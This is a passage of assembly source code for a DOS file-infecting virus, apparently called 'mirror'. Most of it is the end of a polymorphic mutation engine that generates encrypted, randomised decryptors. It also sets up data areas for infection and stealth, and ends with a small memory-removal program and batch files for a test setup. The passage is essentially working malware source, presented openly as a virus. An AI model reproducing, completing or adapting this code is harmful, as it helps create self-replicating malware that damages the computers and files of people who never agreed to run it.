  1817.                 mov     ah,ds:CryptReg
  1818.                 or      al,ah
  1819.                 rol     al,1
  1820.                 rol     al,1
  1821.                 rol     al,1
  1822.                 or      al,bl
  1823.                 push    ax
  1824.                 call    MemoryOpcode
  1825.                 test    ds:MutationFlags,80h
  1826.                 jnz     Decryptor
  1827. Encryptor:      xor     bl,1
  1828. Decryptor:      mov     al,OpcodeTable[bx]
  1829.                 mov     ds:EncryptOpcode[1],al
  1830.                 pop     ax
  1831.                 stosb
  1832.                 and     al,20h
  1833.                 or      al,87h
  1834.                 cmp     ah,ds:CounterReg
  1835.                 jne     NotEqual
  1836.                 or      al,9fh
  1837. NotEqual:       mov     ds:EncryptOpcode[2],al
  1838.                 xchg    ax,dx
  1839.                 stosw
  1840. SetStatus:      test    cl,38h
  1841.                 jnz     ResetFlagsOk
  1842.                 or      cl,40h
  1843. ResetFlagsOk:   mov     ds:FlagsOk,0ebh
  1844.                 ret
  1845.  
  1846.                 db      2
  1847. ZeroReg:        call    RandomRegFF
  1848.                 not     cl
  1849.                 and     ds:RegZero,cl
  1850.                 xchg    al,ah
  1851.                 and     al,1ah
  1852.                 test    al,18h
  1853.                 jpo     OpcodeOk
  1854.                 xor     al,10h
  1855. OpcodeOk:       mov     cl,3
  1856.                 mov     ch,ah
  1857.                 rol     ah,cl
  1858.                 or      ah,ch
  1859.                 or      ax,0c021h
  1860.                 stosw
  1861. SetFlagsOk:     mov     ds:FlagsOk,072h
  1862.                 ret
  1863.  
  1864.                 db      5
  1865. RegZero         equ     byte ptr [$ - VirusTop + 1]
  1866. MemoryTrash:    db      0b5h,?
  1867.                 not     ch
  1868.                 and     ch,0fh
  1869.                 jz      ZeroReg
  1870.                 call    RandomRegFF
  1871.                 and     ah,23h
  1872.                 mov     cl,3
  1873.                 rol     al,cl
  1874.                 or      al,84h
  1875.                 or      al,ah
  1876.                 push    ax
  1877.                 call    MemoryOpcode
  1878.                 pop     ax
  1879. Compress2:      call    StoreRandom
  1880.                 jmp     ResetFlagsOk
  1881.  
  1882. IncReg:         xor     cl,08h
  1883.                 sub     ch,4
  1884.                 mov     bx,ds:Param3
  1885.                 xor     ds:EncryptOpcode[2],8
  1886.                 mov     ax,ds:Registers
  1887.                 cmp     al,ah
  1888.                 je      Adjust
  1889.                 test    cl,10h
  1890.                 jz      DoNotAdjust
  1891. Adjust:         sub     dx,bx
  1892. DoNotAdjust:    call    AddSub
  1893.                 jmp     SetStatus
  1894.  
  1895. Compare:        sub     ch,6
  1896.                 xor     cl,0c0h
  1897.                 mov     ax,ds:Param5
  1898. CmpSub          equ     byte ptr [$ - VirusTop + 1]
  1899.                 db      0b3h,?
  1900.                 xchg    ax,bx
  1901.                 cmp     al,0fbh
  1902.                 je      DoNotChange
  1903.                 neg     bx
  1904.                 call    AddSubLarge
  1905.                 jmp     Jump
  1906. DoNotChange:    mov     ax,0f881h
  1907.                 call    AddSubMore
  1908. JumpType        equ     byte ptr [$ - VirusTop + 1]
  1909. Jump:           db      0bbh,?,0
  1910.                 mov     al,ds:OpcodeTable[bx+4]
  1911.                 mov     ds:ConditionOpcode,al
  1912.                 stosb
  1913. JumpDestenation equ     word ptr [$ - VirusTop + 1]
  1914.                 db      0b8h,?,?
  1915.                 sub     ax,di
  1916.                 dec     ax
  1917.                 jmp     Compress1
  1918.  
  1919.                 db      4
  1920. AddSubTrash:    mov     al,81h
  1921.                 stosb
  1922.                 call    RandomRegFF
  1923.                 and     ah,38h
  1924.                 or      al,0c0h
  1925.                 or      al,ah
  1926.                 jmp     Compress2
  1927.  
  1928. PrefetchFix:    or      ch,ch
  1929.                 je      DontFix
  1930.                 mov     al,0ebh
  1931.                 cmp     ds:FlagsOk,al
  1932.                 je      JumpOpcodeOk
  1933.                 mov     al,79h
  1934. JumpOpcodeOk:   stosb
  1935.                 mov     ax,si
  1936.                 sub     ax,di
  1937.                 dec     ax
  1938.                 jns     JumpOk
  1939.                 xor     ax,ax
  1940. JumpOk:         stosb
  1941. DontFix:        and     cx,1
  1942.                 ret
  1943.  
  1944. AddSub:         cmp     bx,2
  1945.                 jg      AddSubLarge
  1946.                 cmp     bx,-2
  1947.                 jge     AddSubSmall
  1948. AddSubLarge:    call    Random
  1949.                 mov     ax,0c081h
  1950.                 jns     AddSubMore
  1951.                 mov     ah,0e8h
  1952.                 neg     bx
  1953. AddSubMore:     or      ah,ds:CounterReg
  1954.                 push    ax
  1955.                 mov     al,bl
  1956.                 cbw
  1957.                 cmp     ax,bx
  1958.                 pop     ax
  1959.                 je      AddSubByte
  1960. AddSubWord:     stosw
  1961.                 xchg    ax,bx
  1962.                 stosw
  1963.                 ret
  1964. AddSubByte:     mov     al,83h
  1965.                 stosw
  1966.                 xchg    ax,bx
  1967.                 stosb
  1968. Return:         ret
  1969. Sub1:           inc     bx
  1970.                 mov     al,48h
  1971. AddSub1:        or      al,ds:CounterReg
  1972.                 stosb
  1973. AddSubSmall:    or      bx,bx
  1974.                 je      Return
  1975.                 js      Sub1
  1976. Add1:           dec     bx
  1977.                 mov     al,40h
  1978.                 jmp     AddSub1
  1979.  
  1980. MemoryOpcode:   and     al,7
  1981.                 cmp     al,6
  1982.                 mov     al,1
  1983.                 jne     NotBP
  1984.                 mov     al,2
  1985. MutationFlags   equ     byte ptr [$ - VirusTop + 1]
  1986. NotBP:          db      0a8h,?
  1987.                 jnz     DoNotOverride
  1988.                 mov     al,2eh
  1989.                 stosb
  1990. DoNotOverride:  call    Random
  1991.                 and     ax,3
  1992.                 xchg    ax,bx
  1993.                 mov     al,ds:OpcodeTable[bx]
  1994.                 stosb
  1995.                 ret
  1996.  
  1997. RealRandom:     xor     ax,ax
  1998.                 out     43h,al
  1999.                 call    Random
  2000.                 push    bx
  2001.                 xchg    ax,bx
  2002.                 in      al,40h
  2003.                 xchg    al,ah
  2004.                 in      al,40h
  2005.                 add     ax,bx
  2006.                 pop     bx
  2007.                 ret
  2008.  
  2009. Random:         mov     ax,1234h
  2010. Randomize       equ     word ptr [$ - VirusTop - 2]
  2011.                 ror     ax,1
  2012.                 ror     ax,1
  2013.                 ror     ax,1
  2014.                 inc     ax
  2015.                 mov     ds:Randomize,ax
  2016.                 ret
  2017.  
  2018. RandomRegFF:    mov     ch,0ffh
  2019. RandomReg:      call    Random
  2020. RandomRegNext:  inc     ax
  2021.                 and     al,7
  2022.                 xchg    ax,cx
  2023.                 mov     al,1
  2024.                 rol     al,cl
  2025.                 xchg    ax,cx
  2026. Reserved        equ     byte ptr [$ - VirusTop + 2]
  2027.                 db      0f6h,0c1h,?
  2028.                 jnz     RandomRegNext
  2029.                 test    cl,ch
  2030.                 jz      RandomRegNext
  2031.                 or      ds:RegZero,cl
  2032.                 ret
  2033.  
  2034. ;*****************************************************************************;
  2035. ;                                                                             ;
  2036. ; Mutation engine ends here.                                                  ;
  2037. ;                                                                             ;
  2038. ;*****************************************************************************;
  2039.  
  2040. VirusEnd        equ     $
  2041.  
  2042. MaxFiles        equ     4
  2043. FileTable       equ     [$ - VirusTop]
  2044. FileTableEntry  equ     (HeaderLength + 7)
  2045.                 db      (FileTableEntry * MaxFiles) dup(?)
  2046.  
  2047. dwa             macro   ident
  2048. ident           equ     word ptr [$ - VirusTop]
  2049.                 dw      ?
  2050.                 endm
  2051.  
  2052. dba             macro   ident
  2053. ident           equ     byte ptr [$ - VirusTop]
  2054.                 db      ?
  2055.                 endm
  2056.  
  2057. NewExeOfs       equ     dword ptr [$ - VirusTop]
  2058.                 dwa     NewExeOfsL
  2059.                 dwa     NewExeOfsH
  2060.  
  2061. SFT_Entry       equ     word ptr  [$ - VirusTop]
  2062.                 dwa     SFT_HandleCount         ; 0
  2063.                 dwa     SFT_OpenMode            ; 2
  2064.                 dba     SFT_Attribute           ; 4
  2065.                 dwa     SFT_DeviceInfo          ; 5
  2066.                 dwa     SFT_DeviceInfoOfs       ; 7
  2067.                 dwa     SFT_DeviceInfoSeg       ; 9
  2068.                 dwa     SFT_Cluster             ; b
  2069.                 dwa     SFT_Time                ; d
  2070.                 dwa     SFT_Date                ; f
  2071.                 dwa     SFT_FileSizeL           ; 11
  2072.                 dwa     SFT_FileSizeH           ; 13
  2073.                 dwa     SFT_FilePosL            ; 15
  2074.                 dwa     SFT_FilePosH            ; 17
  2075.  
  2076. StealthNames    equ     byte ptr [$ - VirusTop]
  2077.                 db      (8 * 0ah) dup(?)
  2078.  
  2079. Buffer          equ     byte ptr [$ - VirusTop]
  2080.                 db      120h dup(?)
  2081.  
  2082. MemoryEnd       equ     $
  2083.  
  2084. ;*****************************************************************************;
  2085. ;                                                                             ;
  2086. ; All good things must end. This virus ends here.                             ;
  2087. ;                                                                             ;
  2088. ;*****************************************************************************;
  2089.  
  2090. code ends
  2091.  
  2092. end EntryPoint
  2093.  
  2094. 8<------------<remove.asm>-------------------------------------------------->8
  2095. code segment public 'code'
  2096.                 assume  cs:code, ds:code, es:code
  2097.                 org     100h
  2098.  
  2099. Main:           mov     ah,9
  2100.                 mov     dx,offset Msg1
  2101.                 int     21h
  2102.                 mov     ax,0fdc8h
  2103.                 mov     ds,ax
  2104.                 mov     si,041f9h
  2105.                 cmp     byte ptr ds:[si],09ah
  2106.                 jne     Failed
  2107.                 mov     byte ptr ds:[si],36h
  2108.                 mov     word ptr ds:[si+1],16ffh
  2109.                 mov     word ptr ds:[si+3],05eah
  2110.                 push    cs
  2111.                 pop     ds
  2112.                 mov     ah,9
  2113.                 mov     dx,offset Msg3
  2114.                 int     21h
  2115.                 jmp     Exit
  2116.  
  2117. Failed:         push    cs
  2118.                 pop     ds
  2119.                 mov     ah,9
  2120.                 mov     dx,offset Msg2
  2121.                 int     21h
  2122.  
  2123. Exit:           mov     ax,4c00h
  2124.                 int     21h
  2125.  
  2126. Msg1            db      'Removing mirror from memory... $'
  2127. Msg2            db      'Failed!',13,10,'$'
  2128. Msg3            db      'Ok!',13,10,'$'
  2129.  
  2130. code ends
  2131.  
  2132. end Main
  2133.  
  2134. 8<--------------<remove.bat>------------------------------------------------>8
  2135. @echo off
  2136. remove
  2137. copy c:\dos\command.com c:\virus\command.com
  2138. 8<--------<mirror.bat>------------------------------------------------------>8
  2139. copy c:\dos\command.com c:\virus\command.com
  2140. set comspec=c:\virus\command.com
  2141. mirror
  2142.